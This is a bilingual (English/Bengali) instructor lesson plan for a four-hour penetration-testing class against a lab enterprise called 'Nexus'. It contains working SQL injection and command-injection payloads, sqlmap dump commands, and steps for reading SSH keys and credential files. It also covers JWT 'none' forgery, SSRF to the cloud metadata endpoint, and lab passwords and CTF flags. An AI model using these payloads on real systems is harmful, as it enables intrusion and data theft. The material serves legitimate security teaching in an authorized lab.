

PROFESSIONAL PENETRATION TESTING



Enterprise Network Penetration Testing

"From Recon to Crown Jewels: How Real Hackers Breach Enterprises"



DURATION

4 Hours



LEVEL

Intermediate+



CTF FLAGS

4 Targets



LAB

Nexus Enterprise



TECHNIQUES

12 Attacks



MODULE

Class 01

TONIGHT'S SCHEDULE

7:00 - 8:30 PM



Module 1 — Recon, SQLi, CMDi, First Shell

Lecture + Demo

8:30 - 9:00 PM



Break

Rest

9:00 - 10:00 PM



Module 2 — Pivot, Crown Jewels, Active Directory

Lecture + Demo

10:00 - 10:30 PM



Classwork — CTF Solo Practice

Hands-On

10:30 - 11:30 PM



Module 3 — Cloud Attack, JWT, Full Kill Chain

Live Demo

01

🕒 7:00 PM - 8:30 PM | 90 Minutes

The Mindset, Recon & First Shell

"How attackers think before they touch a single key"

Reconnaissance

SQL Injection

Command Injection

SSH Access

MITRE: T1046, T1190, T1059

7:00 - 7:15



Opening Hook — "Real Company, Real Breach"

শুরু করো এই কথাগুলো দিয়ে:

"আজকে তোমরা যে environment-এ attack করবে, এটা Bangladesh-এর একটা বড় কোম্পানির মতোই সাজানো — Active Directory, Firewall, VoIP, CCTV, Cloud, সব আছে। আজকের শেষে তোমরা জানবে একজন real penetration tester কীভাবে একটা enterprise-কে root করে।"

Live-এ দেখাও (WOW factor):

- 1 Browser-এ live lab URL খোলো → Corporate portal দেখাও
- 2 Grafana dashboard → real-time network metrics চলছে
- 3 MailHog → ইমেইল intercept live demo করো
- 4 `docker ps` → ৩৩টা container চলছে দেখাও



"তুমি attack করার আগে জানতে হবে কে তুমি attack করছো। এটাই recon — intelligence gathering।"

Network Discovery – কোন port খোলা?

```
nmap -sV -sC -p- --open <TARGET_IP>
```

Web technology fingerprinting

```
curl -I http://<TARGET>:80
```

```
curl -I http://<TARGET>:8080
```

```
curl -I http://<TARGET>:8443
```



Real-World Fact: Real world-এ Shodan.io দিয়ে internet-এ exposed corporate systems খোঁজা যায়। Capital One, Equifax breach — সবই শুরু হয়েছিল recon দিয়ে। আমরা এটাই করছি, কিন্তু permission নিয়ে।

MITRE ATT&CK MAPPING

TA0043 – Reconnaissance → T1046 Network Service Scanning

"Nexus-এর corporate portal-এ Asset Tracking form আছে। Developer ভুলে user input sanitize করেনি। এটাই আমাদের entry point।"

1 **Manual Discovery:** Login → `admin / NexusTechAdmin2026!` → Tracker form → Input: `NX-98231'` → Error আসে?

2 **Manual Injection:**

```
' OR '1'='1
```

```
' UNION SELECT username,password,3 FROM employees--
```

3 **Automated (sqlmap):**

```
sqlmap -u "http://<TARGET>/?track_id=NX-1" --dbs
sqlmap -u "http://<TARGET>/?track_id=NX-1" -D nexus_prod --tables
sqlmap -u "http://<TARGET>/?track_id=NX-1" -D nexus_prod -T employees --dump
```



WOW Moment: Employee credentials dump হবে — real-looking names, salaries, departments, passwords সব চোখের সামনে। Students এখানে সত্যিকারের impact বুঝবে।

MITRE ATT&CK MAPPING

T1190 – Exploit Public-Facing Application



"Admin panel-এ 'Server Diagnostics' tool আছে। Admin রা ping করে network check করে। কিন্তু input validation নেই।"

```
# Target: /admin/server-check

# Normal usage:
ping 8.8.8.8

# Injected commands:
8.8.8.8; whoami
8.8.8.8; cat /etc/passwd
8.8.8.8; ls -la /var/www/

# SSH Bastion (from SQLi credentials):
ssh devops-remote@<TARGET_IP> -p 2222
# Password: devops-remote@123
✅ Shell পাওয়া গেছে! DMZ-তে আছি এখন।
```

MITRE ATT&CK MAPPING

T1059 – Command and Scripting Interpreter | T1021.004 – SSH Lateral Movement



✅ COMPLETED	TECHNIQUE	MITRE ID	FLAG
Network Recon	Port Scanning + Fingerprinting	T1046	—
SQL Injection	UNION-based SQLi + sqlmap	T1190	🚩 Flag 1
Command Injection	OS command execution	T1059	🚩 Flag 2
SSH Foothold	Remote Service Access	T1021.004	—

"আমরা এখন DMZ zone-এ আছি। পরের target: Core Network → Data Center। সেখানেই আছে Crown Jewels।"

02

🕒 9:00 PM - 10:00 PM | 60 Minutes

Lateral Movement, Crown Jewels & Active Directory

"Pivot deeper — reach the most valuable data in the enterprise"

Lateral Movement

Privilege Escalation

Database Extraction

AD Enumeration

MITRE: T1021, T1552, T1005, T1087

9:00 - 9:20



Lateral Movement — Pivoting Through the Network

MITRE T1021

"আমরা bastion-এ আছি। Database আছে 10.0.3.20 তে — সরাসরি access নেই। Bastion core_net এ আছে, তাই pivot করা যাবে।"

```
docker exec -it nexus-corp-bastion bash

# Internal network host discovery:
for i in {1..254}; do
  ping -c1 -W1 10.0.2.$i 2>/dev/null | grep "64 bytes"
done

# DevOps workstation (sensitive files):
docker exec -it nexus-pc-dev-01 bash
cat ~/.ssh/id_rsa          # 🔑 SSH private key!
cat ~/.bash_history        # Past commands with passwords
env | grep -i pass         # Environment variables
```



SIEM Alert Live: docker exec -it nexus-corp-siem-soc tail -f /var/log/nexus-syslog/nexus-all.log চালাও — Blue team আমাদের movement detect করছে! Real pentest-এ এটা report-এ লিখতে হয়: "কোন attack কোথায় detected হলো।"

MITRE ATT&CK MAPPING

T1021.004 - SSH Lateral Movement | T1552 - Unsecured Credentials

"Production PostgreSQL database-এ আছে system_vault_keys — সব admin-এর master password এবং API keys / এটাই আমাদের biggest prize!"

```
docker exec -it nexus-dc-prod-database psql -U nexus_admin -d nexus_prod

-- Tables দেখো:
\d

-- Employee data:
SELECT * FROM employees;

-- 👑 Crown Jewels – Flag 3:
SELECT * FROM system_vault_keys;
-- FLAG{CR0WN_J3W3LS_DC_D4T4B4S3_C0MPR0M1S3D_2026!}

-- Financial data:
SELECT * FROM salary_records;
SELECT * FROM vendor_contracts;
```

MinIO Object Storage Inspection:

```
http://<TARGET>:9001 → nexus_san_root / SuperS3cUr3_B4ckup_Vault_Pass_2026!
# → Buckets দেখো → backup files নামানো যায়?
# → Object storage misconfiguration finding!
```

MITRE ATT&CK MAPPING

T1005 – Data from Local System | T1213 – Data from Information Repositories



```
docker exec -it nexus-corp-bastion bash
```

```
# SMB Enumeration:
```

```
smbclient -L //10.0.2.10 -N
```

```
smbclient -L //10.0.2.10 -U "Administrator%NexusAD2026!Admin"
```

```
# Domain info:
```

```
docker exec -it nexus-ad-dc samba-tool domain info 10.0.2.10
```

```
docker exec -it nexus-ad-dc samba-tool user list
```



Next Class Preview: Real AD attack-এ এখানে BloodHound দিয়ে attack path graph বানাতাম, Kerberoasting করে TGS ticket চুরি করতাম, Pass-the-Hash দিতাম, Golden Ticket attack করতাম। পরের class-এ এটাই করবো।

MITRE ATT&CK MAPPING

T1087.002 – Domain Account Discovery | T1558 – Steal or Forge Kerberos Tickets



🕒 10:00 PM – 10:30 PM | 30 Minutes

CTF Classwork — Solo Practice

"এখন তোমাদের পালা — flag ধরো, leaderboard জিতে"

Hands-On Practice

Flags 1, 2, 3

Competitive



FLAG 1 — SQL Injection

`/?track_id=` parameter

Easy



FLAG 2 — Command Injection

`/admin/server-check`

Medium



FLAG 3 — Crown Jewels

`system_vault_keys` table

Hard

📋 Challenge Instructions

1

Flag 1 (Easy): `http://<VPS_IP>/?track_id=` — UNION-based SQLi করে employees table dump করে

Hint: Single quote → error? UNION SELECT দিয়ে columns count করে

2

Flag 2 (Medium): `http://<VPS_IP>/admin/server-check` — Command injection করে `/etc/passwd` দেখাও

Hint: Semicolon injection → `8.8.8.8; cat /etc/passwd`

3

Flag 3 (Hard): Production DB থেকে `system_vault_keys` extract করে

Hint: docker exec অথবা SQLi chain করে



Leaderboard: যে আগে flag পাবে তার নাম whiteboard-এ লেখা হবে। Team বা solo — উভয়ই চলবে।

Instructor hint দেবে কিন্তু সরাসরি উত্তর না।

03

🕒 10:30 PM - 11:30 PM | 60 Minutes

Cloud Attack, JWT Hacking & Full Kill Chain

"Modern enterprise cloud infrastructure — কীভাবে attack করে"

SSRF Attack

JWT Forgery

Cloud Exploitation

Full Kill Chain

MITRE: T1552.007, T1599

"Nexus-এর cloud microservice AWS us-east-1-এ চলছে। একটা `/api/v1/fetch` endpoint আছে যেটা internal URL fetch করতে পারে। এটাই SSRF — Server-Side Request Forgery!"

Step 1 — API Discovery:

```
curl http://<TARGET>:8090/api/v1/health
curl http://<TARGET>:8090/api/v1/config
```

Step 2 — JWT Authentication:

```
curl -X POST http://<TARGET>:8090/api/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","pass":"NexusTechAdmin2026!"}'
# Response: {"token": "eyJhbGciOi..." }

curl http://<TARGET>:8090/api/v1/users \
  -H "Authorization: Bearer eyJhbGciOi..."
```

Step 3 — JWT Tampering (algorithm:none attack):

```
# jwt.io তে token paste করো
# Algorithm: HS256 → none
# Payload: {"user":"admin","role":"superadmin"}
# → Forged token দিয়ে admin access পাও
```

Step 4 — SSRF Attack:

```
curl "http://<TARGET>:8090/api/v1/fetch?url=http://172.16.0.30:5432"
curl "http://<TARGET>:8090/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/"
✅ FLAG{CLOUD_T13R_C0MPR0M1S3D_AWS_NEXUS_2026!}
```



Real-World Reference: Capital One Breach (2019) — এই SSRF দিয়েই AWS metadata server থেকে IAM credentials নেওয়া হয়েছিল। ১০০ million+ customer data expose। \$80 million fine। আজকে তুমি সেই technique শিখলে।

MITRE ATT&CK MAPPING

T1552.007 – Container API Credentials | T1599 – Network Boundary Bridging

 Day 1 - Reconnaissance

- **nmap scan** → open ports discovered (80, 8025, 9001, 3000, 8080...)
- **Web fingerprinting** → Nginx, Flask, Python stack detected

 Day 2 - Initial Access

- **SQLi** on `/?track_id=` → employee credentials dumped
- **CMDi** on `/admin/server-check` → RCE achieved
- **SSH** to bastion (port 2222) → first foothold established

 Day 3 - Lateral Movement

- **Bastion** → **core_net pivot** → DC subnet discovered
- **DevOps workstation** → SSH key leaked, bash history, env vars
- **SIEM triggered** → Blue team alerted (documented)

 Day 4 - Exfiltration + Crown Jewels

- **PostgreSQL** → `system_vault_keys` → **Flag 3** ✓
- **MinIO buckets** → backup files downloaded
- **AD enumeration** → domain users listed

 Day 5 - Cloud Compromise

- **JWT forged** → Cloud API full admin access
- **SSRF** → Internal cloud DB reached → **Flag 4** ✓
- **SaaS SSO bypass** → OAuth2 session hijack → **Flag 5** ✓



01 Executive Summary

Non-technical — CEO/CFO এর জন্য। Business impact, financial risk, regulatory exposure।

02 Technical Findings with CVSS Score

SQL Injection — **CVSS 9.8 Critical** | Command Injection — **CVSS 9.0 Critical** | SSRF — **CVSS 8.8 High** |
Insecure DB — **CVSS 8.5 High**

03 Attack Chain Diagram

Visual kill chain — recon থেকে crown jewels পর্যন্ত সম্পূর্ণ path।

04 Evidence (Screenshots + Command Output)

প্রতিটা finding-এর proof — screenshots, terminal output, flag values।

05 Remediation Recommendations

Prepared statements (SQLi fix) | Input validation | Network segmentation | JWT secret rotation



Next Class Preview: Active Directory Full Exploitation — BloodHound attack path, Kerberoasting, Pass-the-Hash, Golden Ticket। VoIP SIP brute-force। MQTT IoT takeover। NAC MAC bypass (Flag 6)।



Class Summary

METRIC	VALUE
Total Duration	4 Hours
Flags Available	4 (Flag 1–4)
MITRE ATT&CK Techniques	9
Attack Techniques Covered	12
Real-World Breach References	3
Tools Used	nmap, sqlmap, curl, ssh, psql, jwt.io



*"The best hackers don't break in through the front door.
They find the window someone left open.
Today — you found four windows."*